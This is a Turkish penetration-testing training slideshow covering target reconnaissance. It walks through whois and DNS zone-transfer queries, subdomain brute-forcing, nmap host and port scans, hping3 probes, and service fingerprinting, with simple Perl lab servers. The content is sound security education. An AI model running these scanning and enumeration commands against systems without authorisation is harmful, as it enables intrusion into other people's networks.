Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2

1,004 views

Published on

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2

Published in: Technology
  • Be the first to comment

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2

  1. 1. blog.btrisk.com @btrisk /btrisktv /btrisk UYGULAMALI SIZMA TESTİ EĞİTİMİ-2
  2. 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  3. 3. BİLGİ TOPLAMA
  4. 4. İÇERİK • Hedef IP Aralığı Tespiti • Canlı Sunucu Tespiti • Port Tarama • Servis ve İşletim Sistemi Tespiti • Kullanıcı Tespiti
  5. 5. HEDEF IP ARALIĞI TESPİTİ IP Aralıkları Tespit Yöntemleri Eğer hedef kurumun IP adreslerini tespit etmek durumundaysak izleyebileceğimiz yöntemler aşağıdaki gibidir (bu yöntemler sırayla kullanılmak durumunda değildir, bir adımda elde edilen bilgiler diğer bir adımda tekrar sorgulama yapmak için kullanılabilir): • 1.Adım: Internet adres otoritelerinin sorgulama imkanlarını kullanmak • 2.Adım: Hedef kuruma ait olabilecek sunucu alan adları ve IP adreslerini çeşitli yöntemlerle tespit etmek ve (bu bilgileri kullanarak) IP Whois sorgulamaları
  6. 6. HEDEF IP ARALIĞI TESPİTİ Dünya İnternet Adres Otoriteleri IANA – Internet Assigned Numbers Authority AFRINIC (Afrika) APNIC (Asya Pasifik) ARIN (Kuzey Amerika) LACNIC (Latin Amerika) RIPE NCC (Avrupa, Orta Asya, Orta Doğu)
  7. 7. HEDEF IP ARALIĞI TESPİTİ Türkiye'nin dahil olduğu coğrafyadan sorumlu otorite RIPE NCC
  8. 8. HEDEF IP ARALIĞI TESPİTİ Internet üzerinde iletişim kurmak için ihtiyacınız olacak IP adresini iki şekilde alabilirsiniz: • Birinci yol olarak bir barındırma hizmeti firmasının veya abonesi olduğunuz bir ISP (İnternet Servis Sağlayıcı - İSS) firmasının size sabit olarak veya dinamik olarak atayacağı bir IP adresini kullanmaktır. Dinamik olarak IP adresinin atanmasından kasıt cihaz veya sunucunuzu her yeniden başlatışınızda müsait olan bir IP adresinin size atanması, statik olarak atanmasından kasıt ise cihaz veya sunucunuzu tekrar başlatsanız da aynı IP adresini kullanmaya devam etmenizdir. • İkinci yol ise sizin bölgesel internet adres otoritesinden kendi adınıza ayırtmış olduğunuz IP adresleri veya IP adres aralığından bir adresi sunucunuza atamanızdır.
  9. 9. HEDEF IP ARALIĞI TESPİTİ TESPİTİ ZOR IP ADRES ARALIKLARI Eğer kurum bir ISP kuruma ait bir IP aralığını kullanıyor, ancak hali hazırda bu aralıkta bulunan sunuculardan herhangi bir HTTP servisi vermiyor veya bu IP adresleri ile ilgili herhangi bir DNS kaydı tanımlamamışsa bu aralığı bulmak pek mümkün değildir. Çünkü IP aralığı tespit yöntemlerimiz kurumun adının internet otoritelerinin veritabanlarında geçiyor olmasına (ki ISP IP aralığının kullanılması durumunda bu mümkün olmayacaktır), verdiği HTTP servisleri ve bu servisleri verdiği sunucuların alan adları içinde kurum adının geçiyor olmasına, veya yapacağımız forward, zone transfer ve bruteforce DNS sorgularında bu IP adreslerinin görünmesi üzerine kuruludur. Bu açılardan hiçbir iz bırakılmamışsa bizim bu IP aralığını tespit etmemiz zordur. (ör: FKM sistemlerinin IP adresleri)
  10. 10. HEDEF IP ARALIĞI TESPİTİ Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
  11. 11. HEDEF IP ARALIĞI TESPİTİ Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
  12. 12. HEDEF IP ARALIĞI TESPİTİ IP Whois Araçlarını Kullanmak # dmitry 193.186.4 dmitry v.b. araçlarla internet adres otoritelerinin sunduğu ip whois servisleri belirli adresler için sorgulanarak bu adreslerin hangi aralıkta olduğu ve bu aralıkların sahipliğine ilişkin bilgi edinebiliriz
  13. 13. HEDEF IP ARALIĞI TESPİTİ dmitry projesi iwhois.h dmitry projesi iwhois.c IP Whois Araçlarını Kullanmak
  14. 14. HEDEF IP ARALIĞI TESPİTİ EGZERSİZ • Kurumunuzun sahibi olduğu IP aralıklarını adres otoritelerinin sağladığı imkanlardan faydalanarak tespit ediniz. • Elde ettiğiniz yanıtlarda sosyal mühendislik saldırılarında kullanılabilecek nitelikte bir bilgi var mı?
  15. 15. HEDEF IP ARALIĞI TESPİTİ Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti Bing domain:btrisk.com
  16. 16. HEDEF IP ARALIĞI TESPİTİ Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti Google site:btrisk.com -site:www.btrisk.com
  17. 17. HEDEF IP ARALIĞI TESPİTİ Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
  18. 18. HEDEF IP ARALIĞI TESPİTİ Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
  19. 19. HEDEF IP ARALIĞI TESPİTİ Kali # host -a btrisk.com DNS Sorguları (Type ANY sorgusu) Type ANY sorgularında • Sorgulanan alan adının A (Address) tipindeki kaydı • MX (Mail eXchange) sunucu kayıtları • NS (Name Server) sunucu kayıtları döner
  20. 20. HEDEF IP ARALIĞI TESPİTİ Windows (nslookup) > set type=all DNS Sorguları (Type ANY sorgusu)
  21. 21. HEDEF IP ARALIĞI TESPİTİ EGZERSİZ • "host" komutu ile belli bir alan adı için yaptığınız bir DNS sorgusunu Wireshark ile inceleyiniz. Sorgulanan kaydın tipi nedir? • "host" komutunun neticesinde sorgunun iletildiği sunucu IP adresi nedir? • DNS sorgunuzu 4.4.4.4 IP adresine iletecek komut değişikliğini yapınız.
  22. 22. HEDEF IP ARALIĞI TESPİTİ DNS Sorguları (Type AXFR sorgusu – Zone Transfer) # dig axfr alanadi @dnssunucusu
  23. 23. HEDEF IP ARALIĞI TESPİTİ DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
  24. 24. HEDEF IP ARALIĞI TESPİTİ DNS Bruteforce Sorguları
  25. 25. HEDEF IP ARALIĞI TESPİTİ # dnsrecon -d google.com -D /usr/share/golismero/wordlist/dns/dnsrecon.txt -t brt DNS Bruteforce Sorguları dnsrecon aracının CNAME, A ve AAAA (IPv6) tipinde sorgular yaptığı görülüyor
  26. 26. HEDEF IP ARALIĞI TESPİTİ DNS Reverse IP (PTR tipi) Sorguları # dnsrecon -r 31.210.54.1-31.210.54.254
  27. 27. HEDEF IP ARALIĞI TESPİTİ Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester # theharvester -d btrisk.com -b google -l 100 -h
  28. 28. HEDEF IP ARALIĞI TESPİTİ Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester The Harvester aracının arama motorlarından web sunucusu, e-posta adresi sorguladığı, Shodan veritabanından sorgulama yaptığı görülüyor
  29. 29. CANLI SUNUCU TESPİTİ • Halka açık kaynaklardan IP aralıkları, alan adları ve DNS kayıtlarını elde ettikten veya sızma testi muhatabı tarafından belirli bir IP aralığı verildikten sonra sıra bu aralıkta aktif olabilecek sunucuların tespitine gelir. • Burada hedef aralığın genişliği ve kurumun güvenlik ihtiyaçlarının düzeyi yapılacak taramaların yoğunluğu ile ilgili bize yön gösterecektir. • Bu noktadan sonra hedef ağ ile doğrudan etkileşim artarak başlayacaktır. Bu nedenle stratejimiz en az trafik doğuracak işlemlerden başlayarak ilerlemek olacaktır.
  30. 30. CANLI SUNUCU TESPİTİ TEMEL TCP / IP BİLGİSİ TCP / IP paketine baktığımızda kabaca 5 katman vardır (OSI modeli ve bunların TCP/IP ile ilişkilendirilmesine girmeyeceğiz): • Fiziksel katman: Paketin tamamını ifade eder, incelememiz açısından bir önemi bulunmamaktadır. • Veri bağlantı katmanı (data link layer): Paketin yerel ağda iletimi için önemli başlık alanıdır. MAC adreslerinin esas alındığı bir katmandır. Yerel alan saldırıları açısından bilinmesi önemlidir, ancak bu noktada derinlemesine değinmeyeceğiz. • Ağ katmanı (network layer): İncelememiz açısından önemli olup IP adreslerinin paket iletiminde önem kazandığı katmandır. Bu adresler özellikle paketler yerel ağdan çıktığı durumlarda önemlidir, zira veri bağlantı katmanı yerel ağdan çıkıldığında paketten sıyrılır ve sonraki LAN veya WAN protokollerine uygun olarak farklı ceketlere sahip olarak hedefine doğru yoluna devam eder.
  31. 31. CANLI SUNUCU TESPİTİ TEMEL TCP / IP BİLGİSİ (devamı) • Taşıma katmanı (transport layer): Bu katman kabaca iletilen paketlerin üzerinde seyahat ettiği hattın ihtiyaçlarına bağlı olarak veya farklı paketlerin farklı sıralarda hedefe ulaşabileceği gerçeği nedeniyle paketlerin doğru sırada ve tam olarak karşı tarafa iletilmesinden sorumlu ağ protokol katmanıdır. Ancak TCP ve UDP için anlamlı olan bu tanım ICMP için pek bir anlam ifade etmeyecektir. Bu nedenle her ağ protokolünün tüm bu katmanlara karşılık gelmesini beklememek gereklidir. Bu gerçek OSI teorik modeli için daha da doğrudur, çünkü TCP/IP paketlerini 7 katmandan oluşan bu modelle eşleştirmek daha da zordur. • Uygulama katmanı (application layer): Bu katman da daha çok TCP ve UDP protokolleri ile daha iyi anlam bulan bir katmandır. İletilen paketin içinde uygulama seviyesinde anlam kazanan verilerin bulunduğu bölümdür. Taşıma ve Uygulama katmanlarına örnekleri bir HTTP paketi ve bir DNS paketi içinde inceleyeceğiz.
  32. 32. CANLI SUNUCU TESPİTİ Yerel ağ'da MAC adresi ile iletişim kurulur. IP paketini gönderen istemci ya bu IP adresinin sahibini sorgular ya da mevcutsa ARP cache'inde bulunan MAC adresini kullanır. Gönderilen paketin içinde hedef IP adresi vardır, ancak Layer 2 cihazlar (switch'ler) MAC adresini esas alarak yönlendirme yapar. ARP Poisoning ile araya girme yöntemi bu tasarım özelliğini kullanır. HTTP Paket Örneği (Veri Bağlantı Katmanı) IPv4
  33. 33. CANLI SUNUCU TESPİTİ Güvenlik açısından önemli IP başlık alanları: • Kaynak ve hedef IP adresleri • Time to live alanı • Flags, Fragment Offset ve Identification alanları • Source Routing option alanları HTTP Paket Örneği (Ağ Katmanı)
  34. 34. CANLI SUNUCU TESPİTİ Güvenlik açısından önemli TCP başlık alanları: • Kaynak ve hedef port numaraları: • Flags alanı • TCP Sequence ve Acknowledgement sıra numaraları HTTP Paket Örneği (Taşıma Katmanı)
  35. 35. CANLI SUNUCU TESPİTİ HTTP Paket Örneği (Uygulama Katmanı) Wireshark bu paketin uygulama katmanında HTTP protokolünün taşındığını nasıl anlamış olabilir?..
  36. 36. CANLI SUNUCU TESPİTİ EGZERSİZ • Kali üzerinde "python –m SimpleHTTPServer 500" komutu ile TCP 500 portundan dinleyen basit bir HTTP sunucusunu başlatınız • Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye başlayınız • Host bilgisayarınızdan browser ile Kali bilgisayarınızın TCP 500 portuna bağlanınız (ör: http://192.168.163.128:500 şeklinde) • Wireshark'ın TCP 500 portu ile yapılan iletişimi HTTP protokolü olarak yorumlamasını sağlayınız İPUCU: Wireshark'ın "Decode As" özelliğini kullanınız
  37. 37. CANLI SUNUCU TESPİTİ DNS Paket Örneği (Taşıma Katmanı)
  38. 38. CANLI SUNUCU TESPİTİ DNS Paket Örneği (Uygulama Katmanı)
  39. 39. CANLI SUNUCU TESPİTİ ICMP Paket Örneği (Ağ Katmanı) ICMP'nin IP protokol numarası "1"
  40. 40. CANLI SUNUCU TESPİTİ ICMP Paket Örneği ICMP için bir port kavramı bulunmamaktadır ICMP paketlerinin türünü Type ve Code alanları belirler
  41. 41. CANLI SUNUCU TESPİTİ EGZERSİZ • Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye başlayınız • Kali'den host (Windows) bilgisayarınıza doğru "ping" komutunu çalıştırınız • Host (Windows) bilgisayarınızdan Kali'ye doğru "ping" komutunu çalıştırınız • Her iki istek arasındaki farkları Wireshark'tan inceleyiniz
  42. 42. CANLI SUNUCU TESPİTİ "nmap" opsiyonlarının anlamları -sn (port tarama yapma) -PE (Echo Request) -PP (Timestamp) -PM (Address Mask Request) ICMP Tarama # nmap -sn -PE -PP -PM 192.168.165.0/24
  43. 43. CANLI SUNUCU TESPİTİ Lokal Subnet'te Sunucu Tespiti Nmap'in lokal ağda sunucu tespitinde ilk olarak izlemeyi tercih ettiği yol bizim tarama opsiyonlarımızdan farklı.
  44. 44. CANLI SUNUCU TESPİTİ Lokal Subnet'te Sunucu Tespiti Nmap'in ürettiği paketleri incelediğimizde biz ICMP tarama yapmak istemiş olsak da nmap'in lokal ağda öncelikle ARP request paketlerini kullandığını görüyoruz. Bu yöntem hedef sunucular açısından daha az şüphe çekici bir yöntem. Ama yerel ağı dinleyen bir IDS için ICMP taraması kadar bariz bir tarama işlemi.
  45. 45. CANLI SUNUCU TESPİTİ İnternet'te sık rastlayabileceğiniz portlar • HTTP (TCP 80) • HTTPS (TCP 443) • DNS (UDP 53, TCP 53) • IPSEC (UDP 500 - IKE protokülü) • SMTP (TCP 25) • SSH (TCP 22) • SIP (TCP/UDP 5060, 5061) • FTP (TCP 21) • TELNET (TCP 23) • CHECKPOINT (TCP 264 - Topoloji servisi) Sık Rastlanan Servis Portlarının Taranması
  46. 46. CANLI SUNUCU TESPİTİ İntranet'te sık rastlayabileceğiniz portlar: • NETBIOS over TCP – NBT ( (UDP 137 - Name servisi) • SMB (TCP 139 – Dosya ve yazıcı paylaşımı için kullanılır) • CIFS (TCP 445 – SMB’nin yerini alan Windows dosya paylaşım protokolü) • RDP (TCP 3389) • HTTP (TCP 80) • HTTPS (TCP 443) • HTTP PROXY (TCP 8080, TCP 3128 - Squid proxy servisi) • SNMP (UDP 161) • LDAP (TCP 389) • FTP (TCP 21) • TELNET (TCP 23) • RPC (UDP 111) • NFS (TCP 2049) • MSSQL (TCP 1433) • MySQL (TCP 3306) • ORACLE (TCP 1521) Sık Rastlanan Servis Portlarının Taranması
  47. 47. CANLI SUNUCU TESPİTİ # nmap -sS - p21,22,23,25,53,80,139,264,389,443,445,1433,1521,2049,3128,3306,3389, 5060,8080 192.168.163.129 Sık Rastlanan Servis Portlarının Taranması (TCP Tarama)
  48. 48. CANLI SUNUCU TESPİTİ Sık Rastlanan Servis Portlarının Taranması (UDP Tarama) # nmap -sU -p53,111,121,137,161,500,5060 192.168.163.129
  49. 49. CANLI SUNUCU TESPİTİ Unique isimlerinden <00> – Workstation adı, Group isimlerinden <00> – Workgroup, domain adı anlamına gelir. Ayrıca bazı Netbios suffix’leri sunucu üzerinde çalışan servisler ve diğer bilgileri ifade eder (örneğin Unique isimlerinden 20 - dosya sunucusu olduğunu, Group isimlerinden 1C domain controller olduğunu belirtir). NetBIOS İsim Servisinin Taranması
  50. 50. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması NetBIOS taraması her zaman Windows sunuculara ilişkin veri döndürmez. Seyrek olsa da üzerinde Samba yüklü olan Unix / Linux sunucular da bu taramalarda görünür. Kali üzerinde SMB erişimi için gerekli Samba paketleri zaten yüklü
  51. 51. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması NetBIOS name server'ın başlatılması
  52. 52. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması
  53. 53. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması Kali sunucusunun NetBIOS taramasında görünmesi
  54. 54. CANLI SUNUCU TESPİTİ EGZERSİZ • Öğrendiğiniz canlı sunucu tespit etme yöntemlerini uygulayarak LAB ortamındaki bilgisayarları tespit ediniz. • Canlı sunucu tespiti sırasında edindiğiniz sunucu adı ve çok kullanılan portlardan tespit ettiklerinizi not ediniz. ÖNEMLİ: Bu aşamada vakit kaybı yaşamamak için Full (yani 1- 65535 arasındaki tüm portlar için) Port Taraması yapmayınız.
  55. 55. PORT TARAMA #!/usr/bin/perl use IO::Socket::INET; # flush $| = 1; my ($socket,$client_socket); my ($peeraddress,$peerport); $socket = new IO::Socket::INET ( LocalHost=> '0.0.0.0', LocalPort=> '5000', Proto => 'tcp', Listen => 5, Reuse => 1 ) or die "Soket olusturulamadi : $!n"; print "TCP sunucu dinliyor ...n"; while(1) { $client_socket = $socket->accept(); $peer_address = $client_socket->peerhost(); $peer_port = $client_socket->peerport(); print "Yeni baglanti : $peeraddress, $peerportn "; while(1) { $client_socket->recv($data,1024); print "Istemciden alinan veri : $datan"; if ($data eq "selamn") { $data = "Sana da selam...n"; $client_socket->send($data); } } } $socket->close(); TCP Servis Örneği
  56. 56. PORT TARAMA TCP Servis Örneği TCP servisimizi başlatıyoruz
  57. 57. PORT TARAMA TCP Servis Örneği Kali'den TCP 5000 portundan dinleyen servise bağlanıyoruz
  58. 58. PORT TARAMA TCP Servis Örneği Netcat ile TCP sunucusuna bağlandığımız anda herhangi bir veri iletilmemiş olmasına rağmen bir iletişim gerçekleşmiş. Bu iletişim TCP protokolünün gereği olan TCP el sıkışma (handshake) paketlerinden oluşuyor.
  59. 59. PORT TARAMA TCP Servis Örneği Paketler Fonksiyon StatüStatü Fonksiyon SUNUCUİSTEMCİ
  60. 60. PORT TARAMA TCP Servis Örneği SYN paketi İstemci sıra numarasını üretiyor
  61. 61. PORT TARAMA TCP Servis Örneği Sadece SYN bayrağı işaretli
  62. 62. PORT TARAMA TCP Servis Örneği SYN, ACK paketi Sunucu istemci'nin sıra numarasını acknowledge ediyor. Yani istemcinin sıra numarasına "1" ekleyerek geri gönderiyor.
  63. 63. PORT TARAMA TCP Servis Örneği SYN, ACK paketi Sunucu kendi sıra numarasını üretiyor
  64. 64. PORT TARAMA TCP Servis Örneği SYN ve ACK bayrakları işaretli
  65. 65. PORT TARAMA TCP Servis Örneği ACK paketi İstemci sunucu'nun sıra numarasını acknowledge ediyor. Yani sunucunun sıra numarasına "1" ekleyerek geri gönderiyor. 3. paketin iletimiyle birlikte bağlantı kurulmuş oluyor
  66. 66. PORT TARAMA TCP Servis Örneği İstemci'den "hello" kelimesini sunucuya gönderiyoruz. Ancak herhangi bir veri alamıyoruz. Bunun sebebi sunucunun sadece "selam" kelimesine yanıt veriyor olması. Veri dönmese de TCP protokolünün gereği olarak sunucudan bir ACK paketinin dönmüş olması lazım.
  67. 67. PORT TARAMA TCP Servis Örneği İstemciden giden paketteki veri bölümü
  68. 68. PORT TARAMA TCP Servis Örneği Sunucu herhangi bir veri döndürmemesine rağmen istemciden aldığı 6 byte'lık veriyi acknowledge ediyor ve ACK sıra numarasını 6 artırıyor.
  69. 69. PORT TARAMA TCP Servis Örneği Bu defa istemci'den "selam" verisini gönderiyoruz. Bir önceki istekten farklı olarak bu defa veri içeren bir yanıt alıyoruz.
  70. 70. PORT TARAMA TCP Servis Örneği İstemciden giden paketteki veri bölümü
  71. 71. PORT TARAMA TCP Servis Örneği Sunucudan dönen pakette bulunan veri bölümü. Bu paketle sunucu aynı zamanda istemciden bir önceki pakette gelen veri miktarında ACK numarasını da artırıyor.
  72. 72. PORT TARAMA TCP Servis Örneği İstemci sunucudan dönen yanıtı aldığını teyit etmek için ACK numarasını sunucunun ilettiği veri miktarı kadar artırarak ACK paketini iletiyor.
  73. 73. PORT TARAMA #!/usr/bin/perl use IO::Socket::INET; # flush $| = 1; my ($socket,$received_data); $socket = new IO::Socket::INET ( LocalPort => '5000', Proto => 'udp', ) or die "Soket olusturulamadi : $!n"; print "UDP sunucu dinliyor...n"; while(1) { $socket->recv($received_data,1024); print "Istemcidenalinan veri : $received_datan"; if ($received_data eq "selamn") { $socket->send("Sana da selam...n"); } } $socket->close(); UDP Servis Örneği Şimdi UDP iletişimini analiz etmek üzere aynı fonksiyonaliteyi bir UDP servisi üzerinden sağlayalım.
  74. 74. PORT TARAMA UDP Servis Örneği UDP servisimizi başlatıyoruz
  75. 75. PORT TARAMA UDP Servis Örneği Yine Netcat ile karşıdaki servise bağlantı kuruyoruz Ancak bu defa karşıdaki servis bir UDP servisi # nc –u 192.168.1.149 5000
  76. 76. PORT TARAMA UDP Servis Örneği TCP bağlantısında bu aşamada el sıkışma paketleri iletilmişti. UDP için böyle bir durum söz konusu değil, yani aslında sunucu henüz istemcinin varlığının farkında bile değil.
  77. 77. PORT TARAMA UDP Servis Örneği UDP servisine anlamadığı bir istek gönderiyoruz. Servisimiz sadece "selam" isteğine yanıt veriyor. Dolayısıyla herhangi bir yanıt alamıyoruz.
  78. 78. PORT TARAMA UDP Servis Örneği Sunucunun isteği aldığını görebiliyoruz
  79. 79. PORT TARAMA UDP Servis Örneği Bu iletişimde sadece bir paket yer almış Sunucu tamamen sessiz kalmayı tercih etmiş
  80. 80. PORT TARAMA UDP Servis Örneği Bu defa sunucunun anladığı dilden bir istek gönderiyoruz. Sunucu da bize bir yanıt veriyor.
  81. 81. PORT TARAMA UDP Servis Örneği Sunucu sadece beklediği bir istek geldiğinde yanıt üretti.
  82. 82. TCP ve UDP SERVİSLERİ İNCELEMESİNİN SONUCU • TCP ve UDP servislerinin davranışları içerik itibarıyla aynı olmasına rağmen TCP servisi protokolün çalışma yöntemi nedeniyle servisin doğru istek gönderilmese bile ifşa olmasına neden olmaktadır. • UDP servisi beklediği veri (payload) iletilmezse sessizliğini korumaktadır. Bu davranış eğer firewall yok ise UDP portunun açık olduğu anlamına gelmektedir. Ancak firewall var ise istek paketinin DROP edildiği veya sunucudan dönecek olan ICMP Port Unreachable paketinin filtrelendiği anlamına da gelir. • Bu sebepten dolayı UDP taramalarındaki hız ve kesinlik düşmektedir. PORT TARAMA
  83. 83. PORT TARAMA Kapalı TCP Portu Davranışı # hping3 192.168.1.149 -V -c 1 -S -p 5001 "hping" ile kapalı olduğunu bildiğimiz bir TCP portuna 1 adet SYN paketi gönderiyoruz
  84. 84. PORT TARAMA Kapalı TCP Portu Davranışı Sunucu kapalı bir TCP portuna istek yapıldığında RST, ACK yanıtı dönüyor
  85. 85. PORT TARAMA Kapalı UDP Portu Davranışı "hping" ile kapalı olduğunu bildiğimiz bir UDP portuna 1 adet UDP paketi gönderiyoruz UDP paketinin veri bölümü bulunmuyor
  86. 86. PORT TARAMA Kapalı UDP Portu Davranışı Kapalı bir UDP portuna paket gönderildiğinde sunucu ICMP Port Unreachable paketi ile istemciyi bilgilendiriyoruz
  87. 87. PORT TARAMA Full TCP Port Tarama Full tarama yapacağımız sunucumuzun açık olan servisleri yukarıdaki gibidir
  88. 88. PORT TARAMA Full TCP Port Tarama Tarama yapılacak olan sunucu üzerindeki firewall kurallarını Flush ediyoruz ve herhangi bir kural tanımlı olmadığından emin olmak için kuralları listeliyoruz
  89. 89. PORT TARAMA Tüm TCP portları için SYN taraması yapıyoruz. SYN taraması istemci tarafından TCP handshake tamamlanmadan son adımda iletişimin RST paketi ile kesilmesi yöntemi ile yapılır. El sıkışma işleminin tamamlandığı yönteme Connect scan (-sT opsiyonuyla yapılır) adı verilir. Full TCP Port Tarama Firewall aktifken tarama süresi 11,88 sn. Her 2 TCP portumuzu da tespit edebildik.
  90. 90. PORT TARAMA Full TCP Port Tarama Bu defa TCP port taramasından önce TCP 80 ve TCP 5000 portları dışındaki tüm portlara yapılan istekleri DROP edecek biçimde firewall kurallarını tanımlıyoruz.
  91. 91. PORT TARAMA Firewall aktifken tarama süresi 115,68 sn. Tarama sonuçları aynı olmasına rağmen nmap'in işi 10 kata yakın süre daha fazla sürdü. Bu fark nmap'in yanıt alamadığı istekler için belli bir süre beklemesinden kaynaklanıyor. Full TCP Port Tarama
  92. 92. PORT TARAMA Full port tarama yapmadığımız için UDP 34841 portu tespit edilememiş. UDP 161 dışındaki portların da açık olduğundan kesin olarak emin olamamış. UDP Port Tarama Full UDP port tarama yapmadan önce yine tüm firewall kurallarını kaldırdık. UDP port taramada TCP taramadan farklı olarak tüm portları taramadık. Nmap öntanımlı olarak Top 1000 portu tarıyor. Sadece 1000 port taranmış olmasına rağmen UDP taramasının süresi TCP taramalarına göre çok daha uzun sürdü.
  93. 93. PORT TARAMA UDP Port Tarama Bu defa UDP port taramasından önce aktif olan UDP portları dışındaki tüm portlara yapılan istekleri DROP edecek biçimde firewall kurallarını tanımlıyoruz.
  94. 94. PORT TARAMA Firewall aktifken kapalı UDP portları ile açık ancak beklediği girdiyi almadığında yanıt üretmeyen UDP portları aynı biçimde davrandığından tüm bu portların kapalı olduğuna kanaat getirdi. Nmap'in SNMP protokolü (UDP 161) için hazır probe payload’u bulunduğundan nmap bu portu net olarak açık şeklinde belirledi. Ancak diğerlerini gözden kaçırdı. UDP Port Tarama Bu defa tarama süresi çok düştü. Muhtemelen nmap yanıt vermeyen portlar için bekleme süresini azalttı.
  95. 95. PORT TARAMA Full UDP Port Tarama Full UDP port tarama işlemi firewall'suz top 1000 port tarama ile yaklaşık aynı süre sürdü. Ancak SNMP dışındaki tüm servisler gözden kaçırıldı.
  96. 96. PORT TARAMA EGZERSİZ • Full TCP ve UDP taramalarından neden 1-65535 arasındaki portlar taranmaktadır, üst limit neden 65535'dir? • Canlı olduğunu tespit ettiğiniz "1" LAB sunucusu için full TCP ve UDP taramalarını gerçekleştirin.
  97. 97. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ #!/usr/bin/perl use IO::Socket::INET; # flush $| = 1; my ($socket,$client_socket); my ($peeraddress,$peerport); $socket = new IO::Socket::INET ( LocalHost => '0.0.0.0', LocalPort => '5000', Proto => 'tcp', Listen => 5, Reuse => 1 ) or die "Soket olusturulamadi : $!n"; print "TCP sunucu dinliyor ...n"; while(1) { $client_socket = $socket->accept(); my $data = "220 BTRisk FTP Sunucusuna Hoşgeldinizrn220 ProFTPD 1.3.5 Server (ProFTPD)"; $client_socket->send($data); } $socket->close(); Servis ve Versiyon Tespiti
  98. 98. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Netcat ile servisimize TCP bağlantısı kurar kurmaz bir banner ile karşılaşıyoruz
  99. 99. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Nmap TCP 5000 portundaki servisimizin ProFTPD 1.3.5 olduğu sonucuna vardı # nmap -Pn -sV -version-all -p1-65535 192.168.163.129
  100. 100. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ “-Pn”: Nmap normalde bir sunucuya yönelik port taraması yapmadan önce bir ping paketi, buna yanıt alamazsa TCP 80 ve 443 portlarına birer paket gönderir. Böylece sunucunun ayakta olup olmadığını anlamaya çalışır, eğer herhangi bir yanıt alamaz ise de taramayı gerçekleştirmez. “-Pn” opsiyonu özellikle firewall arkasında bulunan ve mevcut olduğunu düşündüğümüz veya çok kritik olabilecek sunucular için mutlaka kullanılması gereken bir opsiyon, aksi takdirde port taramamız gerçekleşmeyecektir. “-sV”: Bu opsiyon nmap’e sadece port tarama yapmamasını, aynı zamanda tespit ettiği servislerin ne olduğuna yönelik inceleme de yapması gerektiğini belirtir. Bu seçenek neticesinde nmap tespit edilen servislere UDP taramasında uyguladığı stratejiye benzer şekilde bazı payload’lar gönderir. Bu payload’lar servisin tam olarak ne olduğunu anlama konusunda bizi çok daha iyi aydınlatır. “--version-all”: nmap’in normalde kendine göre uyguladığı bir optimizasyon var, buna göre belirli payload’ları belirli portlara yönelik olarak gönderiyor. Bu opsiyonla nmap’e tespit ettiğin portlar için elindeki tüm payload’ları kullan emrini veriyoruz. Elbette bu yöntem çok daha fazla paket üretilmesine neden olacak, özellikle servis sayısı arttığında bu durum katlanacak. “-p1-65535”: Bu opsiyon bildiğiniz gibi full port taraması için kullandığımız opsiyon. Servis ve Versiyon Tespiti
  101. 101. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti msf > search type:exploit name:ProFTP Eğer tespitimiz doğru olsaydı bir sonraki adım servisle ilgili açıklıkları aramak olacaktı
  102. 102. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti
  103. 103. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Nmap'in servis tespiti için kullandığı probe yöntem ve payload'ları /usr/share/nmap/nmap-service- probes dosyasında yer almaktadır Bu probe yönteminde servise herhangi bir payload gönderilmemekte ve 6 saniye beklenmektedir TCP 9100-9107 arası portlar yazıcılar tarafından kullanıldığından nmap tarafından kapsam dışında bırakılmıştır
  104. 104. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Buradaki regular expression’ı okursak: • İlk satır satır başında 220 ile başlamak kaydı ile herhangi bir metin • İkinci satır başında da yine “220 ProFTPD “ ile başlayan, devamında herhangi bir word karakteri (yani küçük harf, büyük harf, rakam ve alt çizgi) veya alt çizgi veya tire karakterlerinden en az bir adetten oluşan bir kelime, devamında da “ Server (ProFTPD)” ifadesini arıyor. • İkinci satırda parantez işaretleri arasında bulunan kısım ise nmap tarafından servisin versiyonu raporlanırken kullanılıyor ($1 bu eşleşmenin yerine geçiyor). Servis ve Versiyon Tespiti
  105. 105. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Service probes dosyasında yaklaşık 10.000 satır var
  106. 106. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Null probe dışında bir örnek vermek gerekirse HTTP servislerini tespit etmeye yönelik bir probe örneği olarak bu örnek verilebilir, bir GET isteğinden sonra iki enter’ı ifade eden bir probe sonrasında aşağıda gelen match ifadeleri bekleniyor. Ancak port numaraları sınırlanmış. Bizim nmap taramamızda kullandığımız "-- version-all" opsiyonu bu sınırlandırmayı iptal ediyor. Servis ve Versiyon Tespiti
